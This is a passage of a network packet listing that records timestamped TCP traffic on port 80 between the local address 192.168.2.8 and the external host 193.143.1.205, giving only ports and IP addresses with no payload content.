Jan 10, 2025 19:45:04.567092896 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.567105055 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.567116976 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.567131042 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.567147970 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.567192078 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.568010092 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.568023920 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.568037033 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.568049908 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.568061113 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.568064928 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.568074942 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.568099022 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.568129063 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.568733931 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.568747044 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.568759918 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.568770885 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.568783045 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.568783045 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.568798065 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.568810940 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.568831921 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.568873882 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.569089890 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.569513083 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.569539070 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.569549084 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.569591999 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.575892925 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.575908899 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.575922012 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.575988054 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.576009989 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.581711054 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.583826065 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.583841085 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.583864927 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.583878040 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.583889008 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.583894014 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.583945990 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.583965063 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.583987951 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.584012985 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.606199980 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.606215954 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.606228113 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.606276035 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.606317997 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.642664909 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.646658897 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.646682024 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.646694899 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.646708012 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.646719933 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.646733046 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.646733999 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.646770954 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.646814108 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.647304058 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.647332907 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.647345066 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.647356033 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.647367954 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.647384882 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.647387028 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.647397041 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.647411108 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.647423983 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.647435904 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.647455931 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.647458076 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.647483110 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.647494078 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.651875973 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.660903931 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.677656889 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.677699089 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.677711010 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.677722931 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.677735090 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.677731991 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.677748919 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.677763939 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.677767038 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.677772045 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.677778959 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.677786112 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.677810907 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.677836895 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.677851915 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.677858114 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.677865028 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.677875996 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.677875996 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.677891016 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.677907944 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.677941084 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.678049088 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.678273916 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.678292036 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.678303957 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.678316116 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.678322077 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.678335905 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.678347111 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.678358078 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.678364992 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.678370953 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.678384066 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.678395987 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.678399086 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.678407907 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.678412914 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.678421974 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.678441048 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.678464890 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.678605080 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.678623915 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.678643942 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.678972960 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.678986073 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.678997040 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.679008961 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.679019928 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.679022074 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.679034948 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.679048061 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.679048061 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.679059982 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.679074049 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.679097891 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.679106951 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.679132938 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.679143906 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.679155111 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.679166079 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.679204941 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.679291964 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.679311037 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.679332018 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.679344893 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.679354906 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.679356098 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.679369926 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.679380894 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.679383039 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.679392099 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.679403067 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.679409027 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.679414034 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.679428101 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.679440975 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.679441929 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.679451942 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.679452896 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.679465055 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.679476976 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.679490089 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.679502010 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.679502964 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.679527998 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.679917097 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.680066109 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.680078030 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.680089951 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.680102110 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.680113077 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.680114985 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.680126905 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.680128098 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.680154085 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.680166006 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.680172920 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.680185080 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.680197954 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.680206060 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.680212975 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.680223942 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.680234909 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.680247068 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.680263042 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.680269957 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.680279970 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.682681084 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.682698011 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.682710886 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.682723045 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.682735920 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.682739019 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.682751894 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.682794094 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.682806969 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.682818890 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.682837963 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.682848930 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.682861090 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.682867050 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.682873964 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.682885885 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.682885885 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.682898998 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.682912111 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.682914019 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.682924986 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.682935953 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.682946920 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.682954073 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.682960987 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.682971954 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.682984114 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.682985067 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.682997942 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.683003902 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.683010101 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.683028936 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.683038950 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.724215984 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.733335972 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.733376026 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.733386993 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.733397961 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.733411074 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.733423948 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.733436108 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.733448029 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.733459949 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.733510971 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.734041929 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.734098911 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.734108925 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.734122038 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.734144926 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.734148979 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.734162092 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.734282017 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.734296083 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.734306097 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.734316111 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.734328032 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.734330893 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.734339952 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.734352112 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.734358072 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.734365940 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.734376907 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.734389067 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.734397888 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.734438896 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.743465900 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.747248888 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.764331102 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.764358997 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.764373064 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.764383078 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.764395952 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.764405966 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.764419079 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.764431953 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.764439106 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.764437914 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.764457941 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.764461040 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.764468908 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.764470100 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.764483929 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.764496088 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.764514923 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.764514923 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.764527082 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.764535904 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.764539957 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.764554977 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.764586926 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.764591932 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.764605045 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.764641047 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.764758110 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.764770031 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.764780998 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.764791965 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.764803886 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.764805079 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.764816046 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.764826059 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.764827967 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.764839888 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.764852047 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.764864922 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.764864922 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.764878035 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.764882088 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.764894009 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.764908075 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.764919043 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.764955044 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.764981031 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.764992952 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.765003920 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.765014887 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.765019894 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.765028954 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.765052080 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.765085936 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.765108109 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.765311003 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.765321970 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.765347958 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.765357018 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.765364885 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.765377045 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.765388012 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.765388012 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.765400887 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.765412092 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.765413046 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.765424967 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.765436888 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.765438080 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.765448093 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.765460014 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.765460968 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.765471935 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.765482903 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.765491962 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.765496016 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.765508890 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.765510082 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.765522957 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.765535116 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.765546083 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.765547991 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.765558004 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.765568018 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.765572071 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.765594959 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.765620947 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.766161919 CET	80	49704	193.143.1.205	192.168.2.8
